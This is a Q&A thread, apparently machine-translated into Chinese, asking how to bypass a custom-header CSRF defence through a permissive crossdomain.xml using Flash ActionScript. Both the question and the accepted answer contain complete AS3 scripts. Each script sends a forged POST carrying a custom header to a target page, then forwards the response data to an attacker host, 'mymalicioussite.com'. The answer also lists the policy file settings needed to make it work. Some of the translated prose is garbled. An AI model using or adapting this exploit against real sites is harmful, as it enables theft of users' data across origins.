CSRF Bypass using ActionScript via weak CrossDomain.xml

Question

我有一个目标，它的CrossDomain很弱.xml但它可以防止CSRF攻击查看其中一个自定义HTTP标头。我在几个网站上找到了以下 actionscript，除了它没有设置标题之外，它运行良好。

此操作脚本将 POST 请求发送到"目标.htm，我需要它来设置任何自定义标头，例如测试标头：

package {
    import flash.display.Sprite;
    import flash.events.*;
    import flash.net.URLRequestMethod;
    import flash.net.URLRequest;
    import flash.net.URLLoader;
    import flash.net.URLVariables;
    import flash.net.URLRequestHeader;
    public class FlashTest extends Sprite {
        public function FlashTest() {
            // write as3 code here..
            //Target URL           
            var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
            var readFrom:String = "http://192.168.100.4/Target.htm";
            var readRequest:URLRequest = new URLRequest(readFrom);
            readRequest.data  = "ThisDoesNotMatter"
            readRequest.method = URLRequestMethod.POST
            readRequest.requestHeaders.push(header);
            var getLoader:URLLoader = new URLLoader();
            getLoader.addEventListener(Event.COMPLETE, eventHandler);
            try
            {
                getLoader.load(readRequest);
            }
            catch(error:Error)
            {
            }
        }
        private function eventHandler(event:Event):void
        {
            var sendTO:String = "http://mymalicioussite.com";
            var sendRequest:URLRequest = new URLRequest(sendTO);
            sendRequest.method = URLRequestMethod.POST;
            sendRequest.data = event.target.data;
            var sendLoader:URLLoader = new URLLoader();
            try
            {
                sendLoader.load(sendRequest);
            }
            catch(error:Error)
            {
            }
          }
        }
      }

跨域.XML目标：

    <?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="*" secure="true" />
</cross-domain-policy>

任何帮助将不胜感激。带有GET请求而不是POST的工作代码也可以作为目标接受GET和POST请求。据我所知，仅允许使用 POST 请求设置自定义标头，但至少目前使用任何标准 HTTP 标头的 GET 请求对我有用。

Answer 1

在执行了一些测试后，我能够修改上面提到的脚本来设置任何自定义标头(浏览器不允许的 Referer 和 User-Agent 标头除外(：

此外，仅当目标和攻击计算机应具有以下跨域.xml时，这才有效：

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-
domain-policy.dtd">
<cross-domain-policy>
 <allow-access-from domain="*" secure="false"  />
 <allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>

这是对我有用的 AS3 脚本：

package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;
public class FlashTest extends Sprite {
    public function FlashTest() {
        // write as3 code here..
        //Set Header
        var headers:Array = [new URLRequestHeader("TestHeader", "Test123")];
        //Target URL           
        var readFrom:String = "http://192.168.253.133/Target.htm";
        var readRequest:URLRequest = new URLRequest(readFrom);
        readRequest.requestHeaders = headers;
        readRequest.data  = "ThisDoesNotMatter" //POST data
        readRequest.method = URLRequestMethod.POST
        //readRequest.requestHeaders.push();
        var getLoader:URLLoader = new URLLoader();
        getLoader.addEventListener(Event.COMPLETE, eventHandler);
        try
        {
            getLoader.load(readRequest);
        }
        catch(error:Error)
        {
        }
    }
    private function eventHandler(event:Event):void
    {
        var sendTO:String = "http://mymalicioussite.com";
        var sendRequest:URLRequest = new URLRequest(sendTO);
        sendRequest.method = URLRequestMethod.POST;
        sendRequest.data = event.target.data;
        var sendLoader:URLLoader = new URLLoader();
        try
        {
            sendLoader.load(sendRequest);
        }
        catch(error:Error)
        {
        }
      }
    }
}//package